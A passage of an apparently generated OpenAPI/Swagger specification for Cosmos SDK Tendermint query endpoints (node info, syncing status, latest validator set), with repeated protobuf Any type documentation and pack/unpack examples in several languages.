foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: height | |
in: path | |
required: true | |
type: string | |
format: int64 | |
tags: | |
- Service | |
/cosmos/base/tendermint/v1beta1/node_info: | |
get: | |
summary: GetNodeInfo queries the current node info. | |
operationId: GetNodeInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
default_node_info: | |
type: object | |
properties: | |
protocol_version: | |
type: object | |
properties: | |
p2p: | |
type: string | |
format: uint64 | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
default_node_id: | |
type: string | |
listen_addr: | |
type: string | |
network: | |
type: string | |
version: | |
type: string | |
channels: | |
type: string | |
format: byte | |
moniker: | |
type: string | |
other: | |
type: object | |
properties: | |
tx_index: | |
type: string | |
rpc_address: | |
type: string | |
application_version: | |
type: object | |
properties: | |
name: | |
type: string | |
app_name: | |
type: string | |
version: | |
type: string | |
git_commit: | |
type: string | |
build_tags: | |
type: string | |
go_version: | |
type: string | |
build_deps: | |
type: array | |
items: | |
type: object | |
properties: | |
path: | |
type: string | |
title: module path | |
version: | |
type: string | |
title: module version | |
sum: | |
type: string | |
title: checksum | |
title: Module is the type for VersionInfo | |
cosmos_sdk_version: | |
type: string | |
title: 'Since: cosmos-sdk 0.43' | |
description: VersionInfo is the type for the GetNodeInfoResponse message. | |
description: >- | |
GetNodeInfoResponse is the response type for the Query/GetNodeInfo | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Service | |
/cosmos/base/tendermint/v1beta1/syncing: | |
get: | |
summary: GetSyncing queries node syncing. | |
operationId: GetSyncing | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
syncing: | |
type: boolean | |
description: >- | |
GetSyncingResponse is the response type for the Query/GetSyncing | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Service | |
/cosmos/base/tendermint/v1beta1/validatorsets/latest: | |
get: | |
summary: GetLatestValidatorSet queries latest validator-set. | |
operationId: GetLatestValidatorSet | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
block_height: | |
type: string | |
format: int64 | |
validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
pub_key: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the | |
type of the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's | |
path must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be | |
in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the | |
binary all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results | |
based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available | |
in the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with impleme |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment